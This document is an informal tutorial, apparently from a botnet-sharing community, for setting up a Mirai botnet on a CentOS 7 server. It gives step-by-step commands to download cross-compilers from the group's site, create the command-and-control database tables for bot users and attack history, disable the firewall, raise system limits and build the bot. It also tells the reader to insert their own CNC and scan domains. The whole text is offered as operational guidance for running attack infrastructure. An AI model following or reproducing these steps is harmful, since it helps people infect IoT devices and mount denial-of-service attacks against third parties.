okay this is fixed tutorial for setup any mirai botnet on centos7, just keep in mind in some sources you need encrypt and replace hash string in table.c for cnc and scan domain ( also the others ip address with your own in main.go , main.c and etc.. } root~#@: setup tut for centos7 website~#@: https://mirailovers/ telegram~#@: https://t.me/mirailovers/ ----------------------------------------------------------------------------------- update~#@: first we need update the dedicated / vps server. yum update -y yum install epel-release -y yum groupinstall "Development Tools" -y yum install gmp-devel -y ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10 yum install screen wget bzip2 gcc nano gcc-c++ electric-fence python sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y ----------------------------------------------------------------------------------- compilers~#@: now we need install the compilers, copy and paste all the following lines into your dedicated / vps server. mkdir /etc/xcompile cd /etc/xcompile wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i586.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i686.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-m68k.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mips.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mipsel.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-powerpc.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-sh4.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-sparc.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv4l.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv5l.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv6l.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv7l.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-powerpc-440fp.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-x86_64.tar.bz2 wget https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i486.tar.gz tar -jxf cross-compiler-i586.tar.bz2 tar -jxf cross-compiler-m68k.tar.bz2 tar -jxf cross-compiler-mips.tar.bz2 tar -jxf cross-compiler-mipsel.tar.bz2 tar -jxf cross-compiler-powerpc.tar.bz2 tar -jxf cross-compiler-sh4.tar.bz2 tar -jxf cross-compiler-i586.tar.bz2 tar -jxf cross-compiler-i686.tar.bz2 tar -jxf cross-compiler-sparc.tar.bz2 tar -jxf cross-compiler-armv4l.tar.bz2 tar -jxf cross-compiler-armv5l.tar.bz2 tar -jxf cross-compiler-armv6l.tar.bz2 tar -jxf cross-compiler-armv7l.tar.bz2 tar -vxf arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz tar -jxf cross-compiler-powerpc-440fp.tar.bz2 tar -jxf cross-compiler-x86_64.tar.bz2 tar -xvf cross-compiler-i486.tar.gz rm -rf *.tar.bz2 rm -rf *.tar.gz rm -rf *.tar rm -rf *.tar.xz mv cross-compiler-i486 i486 mv cross-compiler-i586 i586 mv cross-compiler-i686 i686 mv cross-compiler-m68k m68k mv cross-compiler-mips mips mv cross-compiler-mipsel mipsel mv cross-compiler-powerpc powerpc mv cross-compiler-sh4 sh4 mv cross-compiler-sparc sparc mv cross-compiler-armv4l armv4l mv cross-compiler-armv5l armv5l mv cross-compiler-armv6l armv6l mv cross-compiler-armv7l armv7l mv arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install arc mv cross-compiler-powerpc-440fp powerpc-440fp mv cross-compiler-x86_64 x86_64 ----------------------------------------------------------------------------------- golang~#@: now we need setup the golang, just follow the commands step by step ( copy and paste it line by line ) 1. wget https:/go.dev/dl/go1.21.3.linux-amd64.tar.gz 2. rm -rf /usr/local/go && tar -C /usr/local -xzf go1.21.3.linux-amd64.tar.gz 3. export PATH=$PATH:/usr/local/go/bin 4. go version 5. go version 6. go env -w GO111MODULE=off 7. go get -u github.com/go-sql-driver/mysql ----------------------------------------------------------------------------------- mysql~#@: when we setup golang we need setup the MySQL. 1. yum install mariadb-server 2. systemctl start mariadb 3. mysql_secure_installation 4. mysql -p root ( enter pass and create your database ) CREATE DATABASE yourdatabasename; use yourdatabasename; CREATE TABLE `history` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `user_id` int(10) unsigned NOT NULL, `time_sent` int(10) unsigned NOT NULL, `duration` int(10) unsigned NOT NULL, `command` text NOT NULL, `max_bots` int(11) DEFAULT '-1', PRIMARY KEY (`id`), KEY `user_id` (`user_id`) ); CREATE TABLE `users` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `username` varchar(32) NOT NULL, `password` varchar(32) NOT NULL, `duration_limit` int(10) unsigned DEFAULT NULL, `cooldown` int(10) unsigned NOT NULL, `wrc` int(10) unsigned DEFAULT NULL, `last_paid` int(10) unsigned NOT NULL, `max_bots` int(11) DEFAULT '-1', `admin` int(10) unsigned DEFAULT '0', `intvl` int(10) unsigned DEFAULT '30', `api_key` text, PRIMARY KEY (`id`), KEY `username` (`username`) ); CREATE TABLE `whitelist` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `prefix` varchar(16) DEFAULT NULL, `netmask` tinyint(3) unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `prefix` (`prefix`) ); INSERT INTO users VALUES (NULL, 'nickname', 'password', 0, 0, 0, 0, -1, 1, 30, ''); quit; ----------------------------------------------------------------------------------- iptables~#@: now is time to flush your iptables and ulimit, you will do this by the next command: iptables -F; service iptables stop; service httpd restart; service mariadb restart; sed -i 's/1024/9999999/g' /usr/include/bits/typesizes.h; ulimit -n999999; ulimit -u999999; ulimit -e999999 ----------------------------------------------------------------------------------- build~#@: okay, that is all, now just build source with the following commands and enjoy :) chmod -R 777 * bash build.sh